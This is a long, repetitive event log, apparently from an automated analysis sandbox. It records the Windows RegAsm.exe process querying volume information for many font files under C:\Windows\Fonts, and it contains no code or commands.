Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\impact.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\taile.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\palai.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\palab.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\AGENCYB.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\ALGER.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\BKANT.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\ANTQUAI.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\ANTQUAB.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\ANTQUABI.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\ARLRDBD.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\BASKVILL.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\BAUHS93.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\BELL.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\BELLI.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\BELLB.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\BERNHC.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\BOD_R.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\BOD_I.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\BOD_B.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\BOD_BI.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\BOD_CR.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAR.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\BOD_CI.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\BOD_CB.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAI.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\BOD_PSTC.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\BOOKOS.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\BOOKOSB.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\BOOKOSI.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\BOOKOSBI.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\BRADHITC.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\BRITANIC.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\BRLNSR.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\BRLNSDB.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\BRLNSB.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\BROADW.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\BRUSHSCI.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\BSSYM7.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\CALIFR.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\CALIFI.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\CALIFB.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\CALIST.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\CALISTI.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\CALISTB.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\CASTELAR.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\CENSCBK.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\SCHLBKI.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\SCHLBKB.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\CENTAUR.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\CENTURY.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\CHILLER.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\COOPBL.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\COPRGTL.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\COPRGTB.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\DUBAI-REGULAR.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\DUBAI-MEDIUM.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\DUBAI-LIGHT.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\DUBAI-BOLD.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\ELEPHNT.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\ELEPHNTI.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\ENGR.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\ERASMD.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\ERASLGHT.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\ERASDEMI.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\ERASBD.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\FELIXTI.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\FORTE.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\FRABK.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\FRABKIT.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\FREESCPT.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\FRSCRIPT.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\FTLTLT.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\GARA.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\GARAIT.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\GARABD.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\GIGI.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\GIL_____.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\GILI____.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\GILB____.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\GILBI___.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\GLSNECB.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\GLECB.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\GOTHIC.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\GOTHICI.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\GOTHICB.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\GOTHICBI.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\GOUDOS.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\GOUDOSI.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\GOUDOSB.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\GOUDYSTO.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\HARLOWSI.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\HARNGTON.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\HATTEN.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\HTOWERT.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\HTOWERTI.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\IMPRISHA.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\INFROMAN.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\ITCBLKAD.TTF VolumeInformation
